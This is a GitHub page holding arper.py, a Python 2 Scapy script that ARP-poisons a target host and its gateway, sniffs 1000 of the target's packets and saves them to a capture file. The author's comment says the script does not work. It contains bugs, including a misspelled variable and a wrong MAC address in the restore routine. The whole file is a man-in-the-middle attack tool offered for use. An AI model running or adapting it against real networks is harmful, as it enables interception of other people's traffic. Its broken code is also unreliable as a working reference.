-
Notifications
You must be signed in to change notification settings - Fork 2
/
arper.py
121 lines (81 loc) · 2.95 KB
/
arper.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from scapy.all import *
import os
import sys
import threading
import signal
# COULD NOT GET THIS PIECE OF CODE TO WORK FOR SOME REASON IT CAN NTO REOLVE MAC ADDRS
interface = "eth0"
target_ip = "192.168.1.100"
gateway_ip = "192.168.1.1"
packet_count = 1000
#set our interface
conf.iface = interface
#turn off output
conf.verb = 0
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
# slightly different method using send
print "[*] Restoring target ..."
send(ARP(op=2, psrc=gateway_ip, pdst= target_ip,
hwdst = "ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)
send(ARP(op=2, psrc=target_ip, pdst= gateway_ip,
hwdst = "ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)
# signals the main thread to exit
os.kill(os.getpid(), signal.SIGINT)
def get_mac(ip_address):
responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),
timeout=2, retry=10)
#retry the mac address from a response
for s,r in responses:
return r[Ether].src
return None
def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
poison_target = ARP()
poison_target.op = 2
poison_target.psrc = gateway_ip
poison_target.pdst = target_ip
posion_target.hwdst = target_mac
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway_ip
poison_gateway.hwdst = gateway_mac
print "[*] Begining the ARP poison. CTRL+c to stop"
while True:
try:
send(poison_target)
send(poison_gateway)
time.sleep(2)
except KeyboardInterrupt:
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
print "[*] ARP poison attack finished."
return
print "[*] Setting up %s"%interface
gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
print "[!!!] Failed to get gateway MAC.Exiting."
sys.exit(0)
else:
print "[*] Gateway %s is at %s"%(gateway_ip, gateway_mac)
target_mac = get_mac(target_ip)
if target_mac is None:
print "[!!] Failed to get target MAC. Exiting."
sys.exit(0)
else:
print "[*] Target %s is at %s"%(target_ip, target_mac)
#start poison thread
posion_thread = threading.Thread(target= poison_target,
args=(gateway_ip, gateway_mac,
target_ip, target_mac))
posion_thread.start()
try:
print "[*] Starting sniffer for %d packets"%packet_count
bpf_filter = "ip host %s"%target_ip
packets = sniff(count= packet_count, filter=bpf_filter,iface=interface)
#write out the captured packets
wrpcap('arper.cap', packets)
#restore the network
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
except KeyboardInterrupt:
#restore the network
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
sys.exit(0)